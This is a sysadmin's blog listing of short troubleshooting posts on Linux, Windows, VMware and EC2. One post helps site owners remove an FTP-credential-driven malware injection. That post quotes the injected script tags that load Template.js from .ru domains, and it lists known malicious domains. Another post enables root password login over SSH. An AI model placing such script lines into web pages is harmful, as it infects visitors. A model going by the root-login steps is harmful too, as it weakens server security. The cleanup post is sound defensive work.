Linux based install hangs at the ISOLINUX boot screen

January 18th, 2013 3 comments

If you ever come across a bootable linux CD or USB that just hangs at the following screen:

ISOLINUX Freezes/Hangs at Bootup

I fixed it by disabling the serial port in BIOS under Integrated Peripherals. Hopefully this helps saves someone from the amount of time wasted from burning and re-burning a bunch of CDs/DVDs, reformatting a bunch of USB drives, and hairloss.

Let me know if that works for you or if you found another fix in the comments below.

 

Categories: Bootable, Bug Fix, How To, ISOLINUX, Linux, Randomness Tags:

Installing Windows Server 2012 or Windows 8 Error: We couldn’t create a new partition or locate an existing one. For more information, see the Setup log files.

January 17th, 2013 4 comments

If you ever come across the following error on the partition screen while going through the installer for Windows Server 2012, Windows 8, or Hyper-V Server:

We couldn't create a new partition or locate and existing one. For more information, see the Setup log files

We couldn’t create a new partition or locate and existing one. For more information, see the Setup log files

The simple fix that worked for me was to disable S.M.A.R.T. in the BIOS. If that does not work, you can also try deleting all partitions, click on New and create a single large partition, reboot, then try that same partition.

Hopefully either one of those work for you. Comment below and let me know if it resolves your issue or if you find any other fixes!

Expanding Disk Volume gives error “There is not enough space available on the disk(s) to complete this operation.”

September 18th, 2012 13 comments

If you are attempting to extend a disk volume and get the following error:

There is not enough space available on the disk(s) to complete this operation.

Here’s how you fix it!

All you have to do is right click on Disk Management and select Rescan Disks. After you do that, then you will be able to extend the volume!

Enable root user password login on EC2 Ubuntu

March 22nd, 2012 16 comments

Even though it’s not recommended, sometimes it’s easier to just log in as root. Here’s how to enable the root user login on your Ubuntu based EC2 instance:

 

Create a password for the root user:

     sudo passwd root

Edit your SSHd config to allow password based logins:

     sudo nano -w /etc/ssh/sshd_config

Add the following line to /etc/ssh/sshd_config:

     PasswordAuthentication yes

Copy your authorized SSH keys if you want to log in via keys as well:

     sudo mkdir /root/.ssh
     sudo cp /home/ubuntu/.ssh/authorized_keys /root/.ssh/

Reload your SSHd config:

     sudo reload ssh

Now you can login as root!

Categories: Uncategorized Tags: , , , , ,

Windows Server 2008 and Upgrading VMware Tools gives vmci.sys 0xc0000098 BSOD

February 15th, 2012 4 comments

I just experienced a vmci.sys 0xc0000098 BSOD bluescreen on upgrading VMware Tools on Windows Server 2008 (not R2) and was stuck in an endless reboot loop. It would not even boot into safe mode. However, I used “Last Known Good Configuration” while booting up, and it fixed the issue and allowed me to boot into Windows. A quick Google search didn’t result anything similar so I figured I’d share my findings. Comment if it works for you!

Sending Notifo notifications using PHP

September 21st, 2011 No comments

I coud not find any decent functions to send notifications to my Notifo account using PHP so I made one. It’s highly customizable and easy to use. Check it out:

Categories: Uncategorized Tags:

VCS vSphere – Check new notifications stuck on Queued – VMware vCenter Update Manager Check Notification

February 7th, 2011 31 comments

So if you have a bunch of queued items in your VMware vSphere Client Recent Tasks that say “Check new notifications” initiated by “VMware vCenter Update Manager Check Notification“, there is an easy fix. Here’s what it looks like:

To fix, all you have to do is restart the VMware vCenter Update Manager Service on your VCS server. See below:

You can also do a “net stop vmware-ufad-vci” then a “net start vmware-ufad-vci” as well. Let me know if this works out for you! :)

Categories: ESX, How To, Randomness, Security, VIClient, VMware Tags:

Microsoft KB2501696 MHTML Vulnerability Test and Quick Fix Workaround – Group Policy Friendly

January 31st, 2011 4 comments

All Microsoft platforms since Windows XP SP3 are affected with this pretty nasty vulnerability. Referencing KB2501696 shows that this bug is caused by the way Windows handles MHTML documents. Internet Explorer is not the one at fault here, this is a Windows bug, however IE will be the attack vector for anyone wanting to take advantage of this flaw (and they will).

First off, to see if you are affected, follow this test link using Internet Explorer. If you get a popup box saying you are affected, then you should apply this fix right away. Also, make sure you are using Internet Explorer since most other browsers do not use the Windows MHTML libraries.

Microsoft gives a lame “FixIt” MSI that is not very GPO friendly. So I went out and wrote my own fix for it. It’s a batch script that you can run locally on a single computer or deploy as a “startup/shutdown script” in Group Policy without any edits needed. It is also compatible with x86 and x64 bit machines. Copy the following into your favorite text editor and give it a “.cmd” extension.

You can also click here to download it. Comment below and let me know how this works for you or if you have any other questions/comments/improvements!

Thanks!

Categories: How To, Malware, MHTML, Security, Vulnerability Tags:

Getting pocketbloke.ru, inkrainbow.ru, pantsletter.ru JavaScript and PHP malware code injection hacks/infection? Get the fix here!

August 17th, 2010 121 comments

I have put together a PHP script to automatically remove all traces of this malicious code from your website. All you have to do is upload the script to the root of your web directory then access the page with any browser. I’ve built in many features including folder and file recursion, file extension filtering, automatic file backups, and two modes of operation:  search only and search and fix.

Click here to see the .RU Removal Script in action! (demo)

or…

Click here for the .RU Removal Script Source Code

or here for it on PasteBin

Let me know in the comments if it works for you or if you have any feature requests!

Thanks to everyone commenting below, we have found out that malware on your PC is stealing your FTP credentials to websites you have access to. They have an automatic script that will login to your site using FTP and append a link to PHP and JS files containing their malicious code.

It looks like this in JavaScript files:

document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/
Template.js"></scri'+'pt>');

PHP or HTML files contain the following at the end:

<script type="text/javascript" src="http://inkrainbow.ru/Template.js"></script>
<!--3848d52fcd665b3d7d96c22e5b6a5451-->

Here is a short list of some domain names that we’ve come across…

Known Malicious Domains:

  • pocketbloke.ru
  • inkrainbow.ru
  • pantsletter.ru
  • fightkid.ru
  • shirtdifficulty.ru
  • casechick.ru
  • obscurewax.ru
  • nuttypiano.com
  • Many others… (comment domains you find below)

STEPS TO TAKE TO REMOVE THE THREAT:

  1. Run MalwareBytes and get rid of anything on your machine
  2. Uninstall your FTP client
  3. Change your FTP passwords
  4. Update JAVA – According to this CERT KB
  5. Remove all traces of the scripts from your domains

UPDATE (8/26/2010): Now more than just .RU are involved which means the script in its current state won’t detect it. Working on a new way to detect this issue. Any ideas? Comment below.

Categories: Malware, PHP, Randomness, Security Tags:

VMware vSphere Clone Error Fix – “Number of virtual devices exceeds the maximum for a given controller.”

May 12th, 2010 3 comments

If you get the following error when you try and clone a VM in vSphere 4:

Then you must be checking the “Edit virtual hardware (Experimental)” box when you are cloning… DON’T DO THAT! Leave it unchecked and you won’t have any problems…

Let me know if that works for you :)

Categories: ESX, How To, VIClient, VMware Tags: